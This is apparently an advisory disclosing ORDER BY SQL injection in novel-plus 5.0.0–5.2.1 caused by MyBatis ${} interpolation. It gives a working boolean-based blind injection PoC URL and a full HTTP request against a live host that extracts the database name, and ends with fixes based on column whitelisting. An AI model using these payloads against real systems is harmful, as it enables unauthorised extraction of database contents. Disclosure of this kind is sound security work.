Due to incorrect usage of the “ORDER BY” clause, there are multiple SQL injection vulnerabilities in novel-plus.

The novel-plus has multiple SQL injection vulnerabilities

• Due to incorrect usage of the “ORDER BY” clause, there are multiple SQL injection vulnerabilities in novel-plus.

POC

1

/book/searchByPage?curr=1&limit=20&keyword=1&sort=(CASE+WHEN+1=(if((substr('123',1,1)='1'),1,0))THEN+0+ELSE+id+END)

Affected versions

• 5.0.0~5.2.1

Details

• In MyBatis, multiple mappers were found to use ${} for ORDER BY parameter injection. This allows unauthenticated users to perform ORDER BY injection without logging in, potentially leading to the exposure of sensitive database information. for example:

• Boolean-based blind injection can be performed by constructing SQL statements.For example：replace '123' in the test statement with something like database() to extract the current database name character by character.When the result in the IF condition differs, the sorting order of the returned data also varies.Tests show the database name starts with ‘n’.

Data packet

1
2
3
4
5
6
7
8
9
10
11
12
13
14

GET /book/searchByPage?curr=1&limit=20&keyword=1&sort=(CASE+WHEN+1=(if((substr(database(),1,1)='1'),1,0))THEN+0+ELSE+id+END) HTTP/1.1
Host: 117.72.165.13:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://117.72.165.13:8888/book/bookclass.html?k=1
Cookie: userClientMarkKey=872e703c665648dfb5a32080bf9de25d

Suggested fixes

• The project still contains numerous SQL statements using ${} for parameter interpolation. Please ensure all of them are modified.
• To fix SQL injection in MyBatis when using ${} for ORDER BY, validate and sanitize the input dynamically using a whitelist of allowed columns/sort directions.

Links

• https://gist.github.com/LTLTLXEY/f41f8df075f07adab3bc5a8b7c3c5d47